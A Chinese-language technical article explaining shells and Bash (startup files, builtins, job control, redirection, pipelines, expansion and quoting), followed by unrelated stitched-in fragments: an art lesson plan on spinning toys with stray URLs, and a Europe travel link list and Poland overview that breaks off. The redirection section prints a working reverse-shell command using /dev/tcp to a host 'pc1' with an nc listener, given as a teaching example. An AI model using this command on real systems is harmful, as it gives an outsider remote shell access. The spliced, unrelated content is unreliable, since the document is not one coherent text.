整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

Shell简介:Bash的功能与解释过程

Shell简介:Bash的功能与解释过程

Shell 是一种命令行解释器, 其读取用户输入的字符串命令, 解释并且执行命令. 它是一种特殊的应用程序, 介于系统调用/库与应用程序之间, 其提供了运行其他程序的的接口.它可以是交互式的, 即读取用户输入的字符串;也可以是非交互式的, 即读取脚本文件并解释执行, 直至文件结束. 无论是在类 UNIX, Linux 系统, 还是 Windows, 有很多不同种类的 Shell: 如类 UNIX, Linux 系统上的 Bash, Zsh 等; Windows 系统上的 cmd, PowerShell 等.

Bash 是 Bourne Again SHell 的缩写, 是 GNU 计划中的 Shell, 也是一些类 UNIX 系统与多数 Linux 发行版的默认 Shell. 本文对 Shell 进行简介, 并对 Bash 的功能与解释过程进行了介绍分析.

关键词: Shell Bash UNIX GNU Linux

1. Shell 简介

1.1 类 UNIX 系统

1991 年 4 月, Linux 尚未正式向外发布时, Linus Torvalds 在 80386 兼容机上成功实验了在时钟中断下两个任务相互切换, 即在屏幕上打印“AAA...”和“BBB...”[1]. 假如把 Linux 启动之后运行程序替换为 Shell, 并具备一些工具程序等, 那么系统启动之后就有了可以与用户交互的操作界面.

在 UNIX 系统[2]中, 图 1 所示为 Shell 所在的层次.内核控制硬件资源并提供进程运行的环境, 内核接口的中间层是系统调用;库在系统调用层之外, 应用程序可以自由使用系统调用与库函数;而 Shell 是一种特殊的应用程序, 介于系统调用与应用程序之间[3].

图 1 UNIX 中 Shell 所在的层次

在类 UNIX 系统中, /etc/passwd文件行中的最后一个字段表明了用户使用的是什么登录 Shell(login Shell), 可以通过chsh命令修改默认 Shell, 当然也可以直接编辑/etc/passwd进行修改, 以下枚举了几种 Shell.

  • Bourne Shell (sh), 曾经是所有品牌 UNIX 的标准, 为 Solaris 10[4]的默认 Shell(Solaris 11 中 root Shell 软链接到ksh).
  • C Shell (csh), 控制流语法类似于 C, 并且比 Bourne Shell 新增了作业控制, 历史机制以及命令行编辑功能. 其曾是 FreeBSD[5]的默认 Shell(现被软链接到tcsh).
  • Korn Shell (ksh)[6], 基于 BourneShell 源码开发, 又包含了 CShell 的作业控制, 命令行编辑等功能.其为 AIX[7]的默认 Shell.
  • TENEX Shell (tcsh), 兼容了 CShell, 并具备了命令补全功能.很多系统上(如 FreeBSD)的/bin/csh 就是软链接或硬链接到了/bin/tcsh.
  • Bourne-again Shell (Bash)[8], GNU 计划[9]的 Shell, 兼容了 Bourne Shell, 支持 C Shell 与 Korn Shell 的特征. 其为多数 Linux 发行版与 macOS Mojave[10]及之前版本的默认 Shell, 也是 Solaris 11 的默认的用户 Shell.
  • Z Shell (Zsh)[11], 拓展了 Bourne Shell, 其可编程的命令行补全功能可以补全选项与参数等, 交互起来比较便利. macOS Catalina 版本的默认 Shell 就是 Zsh.
  • Debian Almquist Shell(Dash)[12], 其目标是尽量轻量级与小巧, 对于大多数任务来说, 它比 Bash 速度要快.Linux 发行版的 Ubuntu[13] 6.10 版本之后, 以及 Debian[14] 6(Squeeze)版本之后/bin/sh软链接到 dash.

表 1 归纳了以上的几种 UNIX 系统上的 Shell. 图 2 表示几种 Shell 的演进关系, 其中实线表示兼容继承关系, 虚线表示支持了某些功能特征. 标准化方面, POSIX 系列标准[15](即 IEEE Std 1002, ISO/IEC 9945), 在 1993 年发布了基于 Bourne Shell 与 Korn Shell 的 Shell 标准—POSIX.1[16], 最新的是 POSIX.1-2017[17]. 上述的某些 Shell 后来也符合兼容了 POSIX 关于 Shell 的标准规范, 如 Bash 等.

鉴于类 UNIX 系统中的 Linux 使用的广泛性, 本文后续部分将以 Linux 作为默认的系统对 Bash 进行描述.

表 1 UNIX中的几种 Shell


图 2 UNIX 中 Shell 演进关系

1.2 Windows 系统

在 Windows 系统上, 有 cmd[18]与 PowerShell[19]两种 Shell, 后者功能强大, 其是为了拓展前者的功能而设计的: 在 PowerShell 中可以运行 cmd 的命令, 而反之不可[20]. PowerShell 是构建于.NET 上基于任务的命令行 Shell 和脚本语言, 它是跨平台(Linux, macOS), 且开源的[21]. 此外, PowerShell 是基于对象而非文本, 命令的输出是一个对象, 可以将输出对象通过管道发送给另一个命令以作为其输入.


2. Bash 功能

一些书籍[22]与 manual page 文档可作为 Linux 中 Shell 命令行的学习的工具, man命令即可在本地查看该命令的说明文档. 本文除了参考 GNU Bash 的参考手册[23], 还有 Bash 的 manual page[24], 本节先介绍 Bash 在作为交互式 Shell 与登录 Shell 时不同的启动文件, 再介绍了 Bash 的内置命令, 作业控制, 重定向与管道几大功能.

2.1 交互式 Shell 与登录 Shell

用户可以与 Shell 进行交互, 系统可以以多种方式启动运行 Shell. 根据用户输入与 Shell 的交互方式, Shell 可以分为交互式 Shell (interactive Shell)与非交互式 Shell:

  • 交互式 Shell, 处理用户键入的命令, 并得到命令输出. 一般情况下, 通过与用户进行 IO 交互的 Shell, 都是交互式 Shell.
  • 非交互式 Shell, 执行脚本文件命令, 直至文件结束时, 它也便退出了. 当运行 Shell 脚本时, 就启动了非交互式 Shell.

类似地, 根据登录会话产生时, Shell 是否为第一个以该用户 ID 执行的进程, 可以分为登录 Shell (login Shell)与非登录 Shell:

  • 登录 Shell, 是登录会话产生时, 第一个以该用户 ID 执行的进程. 当通过文本控制台, SSH, 或su - user命令登录时, 就会得到一个登录 Shell.
  • 非登录 Shell, 登录会话中非第一个用户 ID 执行的进程. 一般情况下, 通过运行脚本, 打开 GUI 命令行终端, 或su user命令登录时, 就会得到非登录 Shell.

从以上 2 种维度划分的 Shell, 也存在两两组合的: 如交互式的登录 Shell, 非交互式的非登录 Shell 等. 对于 Bash 来说, 不同的组合类型启动时读取执行的文件是不同的, 表 2 作了归纳.

  1. 登录 Shell 时(无论是否为交互式的), 那么它会读取执行 4 个文件: /etc/profile, ~/.bash_profile, ~/.bash_login, ~/.profile;
  2. 交互式的非登录 Shell 时, 它会读取执行~/.bashrc;
  3. 非交互式的非登录 Shell 时, 不会读取执行任何文件.

表 2 Bash 启动时读取执行文件

值得一提的是, 很多~/.profile会有如下代码, 就是为了使登录 Shell 也会读取执行~/.bashrc. . ~/.bashrc source ~/.bashrc 此外, 登录 Shell 在退出时会读取执行~/.bash_logout.

2.2 内置命令

内置命令(builtin command)是 Shell 自己实现的命令, 有的是因为某些功能仅能通过内置化实现, 有的则是追求性能而内置化实现.

大部分内置命令的存在是因为在另一个单独的进程环境下难以实现或无法实现. 如cd命令, 该命令在$PATH是不存在的, 我们知道, Shell 在创建执行的命令进程结束后, 都不会影响 Shell 进程本身的 cwd (当前工作目录), 因此cd命令只能 Shell 自己实现. 影响当前 Shell 环境的命令只能内置化实现, 表 3 列举了一些这样的命令.

表 3 只能内置化实现的命令举例

小部分内置命令的存在是为了提升那些频繁使用命令的性能. 如echo, 该命令可以通过可执行程序(coreutils软件包中)实现, 但 Bash 通过内置化实现了echo无非是提升了性能, 省去了创建进程的开销.

内置命令type可以显示命令的类型信息, 代码 1 枚举了一些命令的类型, 有内置命令, 关键字(keyword), 别名(alias), 函数(function), 以及最常见的可执行文件(executable file).

代码 1 type命令显示命令类型信息

$ type echo
echo is a shell builtin
$ type if
if is a shell keyword
$ type ls
ls is aliased to 'ls --color=auto'
$ type myfunction
myfunction is a function
$ type cp
cp is /usr/bin/cp
$ type not_exist
bash: type: not_exist: not found

以下枚举了一些常用的内置命令与场景.

  • source filename 或 . filename(.即点号), 在当前环境中执行filename. 执行 Shell 脚本文件, 可能会影响当前 Shell 运行环境, 如环境变量, 函数等符号.
  • alias [name[=value] ... ], 显示或创建别名. 别名是为一些命令选项创建一个自定义的名字, 甚至可以与原命令相同, 如alias ls='ls --color=auto', 就使ls自动带入--color=auto选项.
  • exec [command [arguments ...]], 用command进程替代当前 Shell. 利用 Shell 本身调用execve(2)系统调用, 利用给定的命令进程替换了当前 Bash, 一般用在 Shell 脚本末尾处执行某命令不必返回.
  • export [name[=value] ...], 为 Shell 变量设置导出属性. 将每一个name记录, 以此导出后续执行的命令环境中, 一般是设置变量, 那么当前 Shell 就有了这个环境变量了.
  • read [-p prompt] [name ...], 从标准输入读取一行并分割为若干字段, 赋值给name变量. 选项prompt为提示字符, 这个命令提供了一种交互的方法, 一般用在与用户 IO 的逻辑中.
  • time pipeline, 报告pipeline命令花销的时间. 具体有实际时间, 用户 CPU 时间, 系统 CPU 时间, 用来统计命令时间开销.

2.3 作业控制

终端会话中有一个控制终端, 也有前台进程组/后台进程组, 而控制终端与前台进程组相关; 作业是几个进程的集合, 通常是一个进程的管道线[3]. 作业控制(job control)是指, 有选择地停止(挂起)某些进程的执行, 以及继续(恢复)某些停止进程执行的能力. 在终端交互中, 终端驱动将一些键盘输入的特殊字符转变为信号[25]发给前台进程, 如SIGINT(Ctrl+C), SIGQUIT(Ctrl-\), SIGTSTP(Ctrl-Z). 因此, 通过这些特殊字符与 Shell 的作业控制功能, 可以方便快捷地控制前后台任务的切换. 在 Bash 中, 每一个作业都有一个作业 ID, 以下是作业控制相关的命令与符号.

  • jobs [jobspec ...], 显示作业信息.
  • fg [jobspec], 将作业移至前台.
  • bg [jobspec], 恢复后台挂起的作业(在后台)运行.
  • pipeline &, 符号&表示后台进行.

代码 2 是一个作业控制举例, 首先后台创建了任务 1, sleep 10 &, 其在后台运行; 再创建任务 2, ping -c 2 127.0.0.1, 其在前台运行; 挂起任务 2, 其转向后台(Ctrl-Z), 且停止了; 将任务 1 转向前台(fg 1), 之后挂起(Ctrl-Z), 其也转向后台停止了; 此时两个任务都后台停止了. 最后, 任务 2 后台恢复运行(bg 2)直至进程退出, 任务 1 转至前台运行(fg 1)至进程退出.

代码 2 作业控制举例

$ sleep 10 &   # 后台启动任务1
[1] 79447
$ jobs         # 只有一个任务, 运行态
[1]+  Running                 sleep 10 &
$ ping -c 2 127.0.0.1 # 前台启动任务2
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.039 ms
^Z             # 键入Ctrl-Z, 任务2转向后台, 停止态
[2]+  Stopped                 ping -c 2 127.0.0.1
$ jobs         # 两个任务: 任务1运行态, 任务2停止态
[1]-  Running                 sleep 10 &
[2]+  Stopped                 ping -c 2 127.0.0.1
$ fg 1         # 任务1转前台运行
sleep 10
^Z             # 键入Ctrl-Z, 即发送SIGTSTP
[1]+  Stopped                 sleep 10
$ jobs         # 两个任务, 都停止态
[1]+  Stopped                 sleep 10
[2]-  Stopped                 ping -c 2 127.0.0.1
$ bg 2         # 任务2后台恢复运行
[2]- ping -c 2 127.0.0.1 &
$ 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.076 ms
# ping统计信息略, 此时任务2结束, 键入回车
[2]-  Done                    ping -c 2 127.0.0.1
$ jobs         # 一个任务: 任务1停止态
[1]+  Stopped                 sleep 10
$ fg 1         # 任务1转向前台
sleep 10

2.4 重定向

在 UNIX 系统中, 文件对象是以文件描述符(file descriptor)来引用的, 操作系统会默认打开进程的 3 个文件描述符: 文件描述符0 - 标准输入; 文件描述符1 - 标准输出; 文件描述符2 - 标准出错 (后文将分别以stdin, stdout, stderr表示). 命令在执行之前, 它的文件描述符可以被复制, 打开, 关闭, 指向不同的文件等, 文件重定向便利了文件 IO 的操作. Bash 解析重定向符号, 是从左到右出现的顺序处理的, 如下两行命令的效果是不同的: 前者是将stdout与stderr都定向到文件dirlist; 而后者是先将stderr定向到stdout, 再将stdout定向到文件dirlist.

ls > dirlist 2>&1 ls 2>&1 > dirlist

Bash 处理多种重定向文件名, 若操作系统提供了相应文件, 则 Bash 直接使用, 否则 Bash 会内部模拟它们. 表 4 枚举了/dev/目录下的几个文件, 反弹 Shell (reverse shell[26])中常常用到文件/dev/tcp/host/port, 当host是合理的主机名或 IP 地址且port是合理的服务名或端口号时, 其实在 Linux 中是不存在/dev/tcp或/dev/udp目录的, 此时 Bash 解析这个路径时会创建相应的套接字[27][28]并做网络连接.

表 4 Bash 重定向的文件

下面列举了一些重定向的方法, 若文件描述符省略且重定向符为<与>, 则重定向对象就分别是stdin与stdout.

  1. 重定向输入(redirecting input). [n]<word 以读方式打开的文件描述符n被重定向到文件word, 若n为0(stdin) 可省略.
  2. 重定向输出(redirecting output). [n]>word 以写方式打开的文件描述符n被重定向到文件word, 为1(stdout)时可省略. 若文件word不存在, 则创建它; 若存在就截断长为 0.
  3. 追加重定向输出(appending redirected output). [n]>>word 以追加(append)方式打开的文件描述符n被输出重定向到文件word, 若n为1 (stdout)可省略. 若文件word不存在, 则创建它.
  4. 重定向stdout与stderr (redirecting standard output and standard error). &>word 或 >&word 同时将stdout与stderr都重定向到word, 以上两种写法同义, 但是第一种使用更多, 语义等价于如下. >word 2>&1
  5. 追加stdout与stderr (appending standard output and standard error). &>>word 同时将stdout与stderr都追加定向到word, 其语义等价于如下. >>word 2>&1
  6. 复制文件描述符 (duplicating file descriptors). [n]<&word 以读方式打开的文件描述符word复制给文件描述符n, 即文件描述符n其实转向了word. 若n为0 (stdin) 可省略. [n]>&word 把文件描述符n复制给以写方式打开的文件描述符word, 即文件描述符n转向了word. 若n为1 (stdout) 可省略.

代码 3 是反弹 Shell 的示例, 假设名字pc1可以被 DNS 解析为 PC1 的地址, 在 PC1 上通过nc监听6666端口, 则 PC2 通过文件重定向达到反弹 Shell 的效果: &>/dev/tcp/pc1/6666是将stdout与stderr重定向为到pc1:6666的 TCP 连接; <&1是将stdin也重定向文件描述符1 (stdout), 即到的 PC1 的 TCP 链接; 至此, stdin, stdout, stderr都被重定向到pc1:6666, 在 PC1 上就得到了 Shell.

代码 3 反弹 Shell 示例

# 在PC1上, 监听TCP的6666端口
$ nc -l -p 6666

# 在PC2上, 打开一个交互Shell, 重定向stdin/stdout/stderr到TCP连接
$ bash -i &>/dev/tcp/pc1/6666 <&1

2.5 管道

管道线(pipeline)是由一个或多个由|或|&符号分割的命令序列, 其格式如下. command [ [| 或 |&] command2 ... ]

command的stdout通过管道连接到command2的stdin, 这个连接是先于重定向被 Bash 解释处理的. |&符号表示command的stdout与stderr都通过管道连接到command2的stdin, 其实就是```2>&1 |''简写形式, 这种隐式的将stderr转向stdout`是在 2.4 节所描述的重定向之后被 Bash 解释处理的.

很多命令从stdin读入, 经过处理, 写到stdout, 这样的命令都可以通过管道连接起来以实现复杂功能的处理, 非常简洁实用. 以下枚举了一些常用的管道相关的命令.

  • grep[29], 打印匹配模式的行.
  • sed(Stream EDitor)[30], 非交互式的命令行流文本编辑器.
  • awk(Aho, Weinberger, Kernighan), 文本模式扫描与处理语言解释器. 有多种实现, GNU 计划的实现为gawk[31], 在某些 Linux 机器上, awk被符号链接到gawk.

对于grep, sed, awk这 3 个命令: grep是对 RE 匹配的pattern进行打印; sed除了 RE 匹配还支持行匹配等, 除了打印还有插入, 删除, 替换操作; awk拓展了sed能力, 其表达能力更强, 具有更丰富的变量支持与内置函数等. 此外, 示例代码 4 通过管道组合其中一些命令(cut, sort, uniq, xargs), 达到实用效果.

代码 4 几个管道命令的组合

# 统计/etc/passwd文件中的用户使用的是什么Shell
$ cut -d: -f7 /etc/passwd | sort | uniq -c
      4 /bin/bash
     26 /sbin/nologin
      5 /usr/bin/nologin
      1 /usr/bin/zsh

# 统计/etc/passwd文件中的用户使用Shell的文件信息
$ cut -d: -f7 /etc/passwd | sort | uniq | xargs ls -l
-rwxr-xr-x 1 root root 903504 Feb 14 03:41 /bin/bash
-rwxr-xr-x 1 root root  14160 Feb  2 02:36 /sbin/nologin
-rwxr-xr-x 1 root root  14160 Feb  2 02:36 /usr/bin/nologin
-rwxr-xr-x 2 root root 869608 Feb 17 01:55 /usr/bin/zsh

3 Bash 解释过程

3.1 总体流程

用户输入命令行字符串, Bash 对其进行语法检查过程中也有解释过程, 文献[32]的“命令行处理过程”一节有 Bash 解释过程的相关描述, 图 3 是 Bash 解释的总体流程. Bash 首先会对输入的字符串进行词法分析, 将命令行字符串切割为 token; 之后会对第一个 token 进行别名(alias)检查, 若其为别名则进行展开, 并对展开字符串继续进行切割; 之后会进行一系列展开(expansion)操作, 最后命令进行查找, 判断是否为函数, 内置命令还是可执行文件, 并在特定环境中执行它们.


图 3 Bash 解释过程

3.2 命令行的展开执行

图 3 从输入命令开始, 经过切割 token 与别名检查展开, 之后就是命令行展开过程, 最后是查找与执行. 命令行展开按顺序分为以下几个步骤, 暂不考虑引号, 代码 5 有相关举例.

代码 5 命令行展开举例

# 花括号展开举例
$ echo {1..10} wh{e{n,re},at} {1..10..2}
1 2 3 4 5 6 7 8 9 10 when where what 1 3 5 7 9

# 波浪号展开举例
$ echo ~root/ ~xu/ ~/
/root/ /home/xu/ /home/xu/

# 对 $SHELL变量: 取子串, 转大写, 字符串替换, 后缀(最短匹配)删除, 引号形式
$ echo $SHELL ${SHELL:4} ${SHELL^^} ${SHELL/ba/z} ${SHELL%/*} ${SHELL@Q}
 /bin/bash /bash /BIN/BASH /bin/zsh /bin '/bin/bash'

# 算术展开举例(中间可以加空格)
$ num=0xe
$ echo $((  0xdeadbeef & 0xffff - 0xbe00 - $((num << 4)) ))
15

# 命令替换举例, 打印当前用户ID
$ id -u $(whoami)
1000

# 路径展开举例, []*?匹配模式
$ echo /dev/sd[ab]*
/dev/sda /dev/sda1 /dev/sda2 /dev/sdb /dev/sdb1
$ echo /dev/sd[ab]?
/dev/sda1 /dev/sda2 /dev/sdb1
  1. 花括号展开(brace expansion), 处理{}格式. 这是一种字符产生机制, 可以嵌套, 但花括号内不可有空格(空格后认为是下一 token), 可以是字符, 也可以是x到y步增inc的序列{x..y[..inc]}.
  2. 波浪号展开(tilde expansion), 处理~开头格式的 token. token 开头的波浪号至非引号斜线之前的字符称为波浪号前缀(tilde-prefix), 如字符串~something/中的~something就是波浪号前缀. 在波浪号前缀中, 波浪号后的字符串被认为是个可能的登录名(login name): 若登录名为空, 则用$HOME变量替换波浪号; 若登录名非空, 则用登录名的 home 目录替换波浪号前缀.
  3. 参数展开(parameter expansion), 处理${parameter}格式的变量. 有时花括号可以省略, 不过 Bash 提供了更复杂的参数展开功能, 如若变量未定义使用默认值, 取参数的子串, 大小写转换, 前后缀删除, 字符串变换等.
  4. 算术展开(arithmetic expansion), 处理$((expression))格式的算术表达式. 算术展开可以嵌套, 其是以固定长度的整形数(fixed-width integer)计算而不检查溢出, 支持的操作符与优先级及其结合性都与 C 相同, 而且可以指定 N 进制数. 此外, Bash 的变量可以作操作数, 未定义或为空的变量值是 0. 代码 5 有变量, 嵌套, 与十六进制计算.
  5. 命令替换(command substitution), 处理$(command)格式的命令. 支持嵌套, 在子 Shell 环境(其结果不影响当前 Shell 环境)中执行命令, 并把命令替换为该命令的stdout, 并将文本最后的换行符删掉. 文本中间产生的换行符在该步不会删除, 但可能会单词分割中进行. 反引号的形式`command`, 是老式的命令替换的写法, 在嵌套时需要用反斜杠转义掉内部嵌套的反引号.
  6. 单词分割(word splitting). 在 Bash 中有一个IFS的环境变量, 其默认值为<space><tab><newline>. IFS中的每一个字符都认为是分隔符, 利用IFS把前面展开过程中产生的字符串进行单词分割.
  7. 路径名展开(pathname expansion), 处理含*?[这 3 字符的 word. 单词分割之后, 在路径名展开时, Bash 扫描含*?[这 3 个字符的 word, Bash 把该 word 作为匹配模式(pattern), 并将匹配该模式的字母表序的文件名序列替换该 word. 若没有匹配的文件名, Bash 默认(即shopt的nullglob为off)会保留原 word. 表 5 是路径名展开的pattern的含义.

表 5 路径名展开的 pattern 含义

在一系列的展开操作之后, 此时就要进行命令查找. 若命令不含/符号:

  1. Bash 先搜索函数(function), 若找到就在当前环境中执行;
  2. Bash 搜索内置命令(builtin command), 若找到就执行之;
  3. 去$PATH中搜索可执行文件, 若找到则在子环境中执行.

当然, 若命令含/字符, 说明该文件通过文件路径即可访问, 直接调用execve(2)系统调用即可.

3.3 引号处理

前文命令行展开的描述中都假设没有引号 ,命令行中有了引号之后 ,图 3 说明了含引号的解析过程 .代码 6 示例了无引号 ,单引号以及双引号在命令行解析过程的差异 :对于单引号来说 ,自切割完命令行 token 后直接就到了命令查找 ;双引号只有参数展开 ,算术展开,命令替换,最后到命令查找.

代码 6 命令行中的引号处理

# 新建一个别名
$ alias myecho=echo

# 无引号: 别名展开 -> 花括号展开 -> 波浪号展开 -> 变量展开 ->
#        算术展开 -> 命令替换   -> 路径名展开 -> 命令查找
$ myecho wh{e{n,re},at} ~root/ ${SHELL^^} $((0x10*2)) $(whoami) /bi*
when where what /root/ /BIN/BASH 32 xu /bin

# 单引号: -> 命令查找
$ 'myecho' hello
bash: myecho: command not found
$ echo 'wh{e{n,re},at} ~root/ ${SHELL^^} $((0x10*2)) $(whoami) /bi*'
wh{e{n,re},at} ~root/ ${SHELL^^} $((0x10*2)) $(whoami) /bi*

# 双引号: 参数展开 -> 算术展开 -> 命令替换 -> 命令查找
$ "myecho" hello
bash: myecho: command not found
$ echo "wh{e{n,re},at} ~root/ ${SHELL^^} $((0x10*2)) $(whoami) /bi*"
wh{e{n,re},at} ~root/ /BIN/BASH 32 xu /bi*

4 总结与展望

本文重在阐述原理性的东西, 而不是某些命令的使用. 后续我们将继续推出文章, 介绍一个支持作业控制/管道的 C 实现的简易 Shell 的代码.

参考文献

[1] 赵炯. Linux 内核完全剖析 [M].北京 :机械工业出版社, 2009.
[2] The Open Group. The UNIX? Standard[EB/OL]. 2020. https://www.opengroup.org/membership/forums/platform/unix .
[3] W. Richard Stevens, Stephen A. Rago. Advanced Programming in the UNIX Environment (Third Edition)[M]. AnnArbor: Pearson Education, 2013.
[4] Oracle. Oracle Solaris 10[EB/OL]. 2020. https://www.oracle.com/solaris/solaris11/.
[5] The FreeBSD Foundation. The FreeBSD Project[EB/OL]. 2020. https://www.freebsd.org/.
[6] David Korn. KornShell[EB/OL]. 2000. http://www.kornshell.org/.
[7] IBM. AIX, UNIX for IBM Power Systems | IBM[EB/OL]. 2020. https://www.ibm.com/it-infrastructure/power/os/aix .
[8] Free Software Foundation. GNU Bash[EB/OL]. 2017. http://www.gnu.org/software/bash/.
[9] Free Software Foundation. The GNU Operating System and the Free Software Movement[EB/OL]. 2020. http://www.gnu.org/ .
[10] Apple. macOS Catalina -Apple[EB/OL]. 2020. https://www.apple.com/macos/catalina/ .
[11] Zsh Web Page Maintainers. ZSH -THE Z SHELL[EB/OL]. 2020. http://zsh.sourceforge.net/ .
[12] Herber Xu. Dash[EB/OL]. 2011. http://gondor.apana.org.au/~herbert/dash/ .
[13] Canonical. The leading operating system for PCs, IoT devices, servers and the cloud | Ubuntu[EB/OL]. 2020. https://ubuntu.com/ .
[14] Software in the Public Interest. Debian – The Universal Operating System[EB/OL]. 2020. https://www.debian.org/ .
[15] IEEE. POSIX Certification home[EB/OL]. 2020. http://get.posixcertified.ieee.org/.
[16] IEEE Computer Society. 1003.2-1992 -IEEE Standard for Information Technology–Portable Operating Sys tem Interfaces (POSIX(R))–Part 2: Shell and Utilities[S/OL]. 1993. https://standards.ieee.org/standard/1003_2-1992.html .
[17] IEEE The Open Group. The Open Group Base Specifications Issue 7, 2018 edition[S/OL]. 2018. http://pubs.opengroup.org/onlinepubs/9699919799/ .
[18] Microsoft. Cmd[EB/OL]. 2020. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd .
[19] Microsoft. PowerShell Documentation[EB/OL]. 2020. https://docs.microsoft.com/en-us/powershell/.
[20] Microsoft. Windows commands[EB/OL]. 2020. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands .
[21] Microsoft Open Source Code of Conduct. PowerShell[EB/OL]. 2020. https://github.com/powershell/powershell .
[22] 鸟哥.鸟哥的 Linux 私房菜基础学习篇 (第四版)[M].北京 :人民邮电出版社, 2018.
[23] Free Software Foundation. GNU Bash Manual[EB/OL]. 2019. https://www.gnu.org/software/bash/manual/.
[24] Free Software Foundation. Bash(1) Manual Page[EB/OL]. 2018. https://tiswww.case.edu/php/chet/bash/bash.html.
[25] linux Foundation. signal(7) -Linux manual page[EB/OL]. 2019. http://man7.org/linux/man-pages/man7/ signal.7.html .
[26] Acunetix. What Is a Reverse Shell | Acunetix[EB/OL]. 2020. https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/ .
[27] Stevens W Richard, Fenner Bill, Rudoff Andrew M. UNIX network programming: the sockets networking API : Vol 1[M]. New York, USA : Addison-Wesley Professional, 2004.
[28] Fall Kevin R, Stevens W Richard. TCP/IP illustrated, volume 1: the protocols[M]. New York, USA : Addison-Wesley, 2011.
[29] Free Software Foundation. GNU grep -GNU Grep: Print lines matching a pattern -GNU Project -Free Software Foundation[EB/OL]. 2020. https://www.gnu.org/software/grep/manual/.
[30] Free Software Foundation. GNU sed -GNU Project - Free Software Foundation[EB/OL]. 2020. https://www.gnu.org/software/sed/.
[31] Free Software Foundation. Gawk: Effective AWK Programming -GNU Project -Free Software Founda- tion[EB/OL]. 2020. https://www.gnu.org/software/gawk/manual/.
[32] Newham Cameron, Rosenblatt Bill. Learning the Bash Shell[M]. [S.l.] : O'Reilly Media, 2005.

术教案-会转的玩具

教学目标 :

  1、 了解会转物体的特征。

  2、 引导学生自主探索,通过剪、贴、画等方法制作一个纸圈的会转的玩具,进行简单装饰。

  3、 培养学生的环保意识,合理利用废旧材料。通过自己制作感受美术活动的乐趣,培养动手和创新的能力。

  教学重点:了解转动的原理,能够掌握转动玩具的制作方法。

  教学难点 :利用身边的材料进行转动玩具制作。

  教学过程 :

  一、 玩玩具

  师:老师手里呀有两个好玩的东西,猜猜是什么?(学生猜测)

  生:……

  师:究竟是什么?瞧,(出示玩具,先陀螺,再转转儿)

  生:……

  师:大家一起传着看一看,玩一玩!(小组玩)

  师:这两个玩具有什么共同特点?

  它们都会——

  生:会转!

  师:对了。它们都是会转的玩具。那想不想自己动手做一个?(揭题)

  二、 认识手工制作的会转的玩具

  师:请你和组员一起把它拆开看一看,研究一下。

  生:动手拆,并总结。

  师:你们真仔细,谁来说说风车有机部分组成?。

  生:风车头和小棒

  师:好,那这个玩具光秃秃的好看吗?怎样打扮一下?

  生:……

师:说的好,同学们自己都能总结出简单的制作方法了,接下来请你带着连个问题跟我一起来看看具体的制作步骤。

1、 风车的制作步骤。

2、 制作过程中应该注意的问题。

  生:观看,总结。(边框可以剪成花边,画上花纹,里面内容可以画、剪贴,

  可以平面、立体,一个有轴)

  师:欣赏风车作品。

  生:……

  三、 学生动手设计制作

  师:我看到有的小朋友手都开始痒痒了,每组至少做两个好玩、好看又有创意的会转的玩具,那就要看哪个小组能发扬团结合作的精神,组长要分工好,材料得大家一块儿用。比一比哪一组做得最快、最好。好!准备——开始!https://www.renjiaoshe.com/jiaocai/380.html

  (及时解决制作过程中遇到的问题,及时表扬有创意的学生,让学生试着转转)

  四、 玩一玩自己做的玩具。

  五、 作业 评价

  1、让学生评出最佳合作奖、创意奖、巧手奖。

  2、整理桌子

  今天你们做得都很棒,可原先整洁的教室被我们弄脏了,我们以最快的速度整理干净,比一比哪组最快。

  六、 课后拓展

出示用两个不同的风车  

师:再看看这个玩具是用什么做的?https://www.shimengyuan.com/nianji/715.html

  生:……

  师:它是用什么材料的?

  生:…

  这个玩具是怎么做的呢?请你课后研究它的制作方法。

  师:课后请你们利用废旧材料做一个会转的玩具,可以自己玩,也可以作为礼物送给你的弟弟和妹妹。

前的欧洲游记:

格调·捷克,http://bbs.qyer.com/thread-2514238-1.html

视界·意大利:托斯卡纳的正确打开方式,http://bbs.qyer.com/thread-2504727-1.html

立陶宛两日游:夏日狂欢,http://bbs.qyer.com/thread-2493161-1.html

穷游爱尔兰+ 北爱尔兰,http://bbs.qyer.com/thread-875187-1.html

重游爱尔兰,http://bbs.qyer.com/thread-1348501-1.html

闪游两牙,牙牙精彩,http://bbs.qyer.com/thread-1089878-1.html

[荷比] 风车, 羊角, 郁金香? 一个都不能少 (外加乱走布鲁塞尔),http://bbs.qyer.com/thread-1089565-1.html

东欧多国:荷 · 德 · 捷 · 奥 · 匈 · 克罗地亚·斯洛伐克·斯洛文尼亚·拉脱维亚,http://bbs.qyer.com/thread-988092-1.html

跳跳游,威尼斯|佛罗伦萨|比萨|罗马|庞贝| 阿尔玛菲 |梵蒂冈,http://bbs.qyer.com/thread-927375-1.html

冬游记 (意大利,法国,西班牙,摩纳哥,捷克,罗马尼亚),http://bbs.qyer.com/thread-1065258-1.html

罗马尼亚:冬天的童话,http://bbs.qyer.com/thread-1119491-1.html

美图大赏·点赞哦!

波兰

波兰共和国(波兰语:Rzeczpospolita Polska,英语:The Republic Of Poland,中文简称:波兰),古称孛烈儿,是一个由16个省组成的民主共和制国家。波兰是中欧国家,东与乌克兰及白俄罗斯相连,东北与立陶宛及俄罗斯接壤,西与德国接壤,南与捷克和斯洛伐克为邻,北面濒临波罗的海。波兰具有迥异的东欧风情。每年的5~9月是波兰最美丽的时候,天气温暖而阳光明媚,9月被誉为“波兰金色秋天”的开始。7~9月是波兰的旅游旺季。

这个国家真是饱经风霜,历史上曾是欧洲强国,后国力衰退,并于俄普奥三次瓜分波兰中亡国几个世纪,一战后复国,但不久又在二战中被苏联和德国瓜分,冷战时期处于苏联势力范围之下,苏联解体后,加入欧盟和北约,近年来波兰无论在欧盟还是在国际舞台的地位亦与日俱增,自1918年11月11日恢复独立以来,经过90年的发展变迁,特别是在21世纪初的几年里,波兰在欧洲的重要性越来越引人重视。

交通

波兰火车

http://www.polrail.com/enhttp://www.intercity.pl/pl/

波兰的大巴

http://www.polskibus.com/enhttp://www.link-bus.com/pl/

波罗的海的大巴(连通波兰、立陶宛、波罗的海国家)

http://ecolines.net

http://www.luxexpress.eu/en

弗罗茨瓦夫Wroclaw

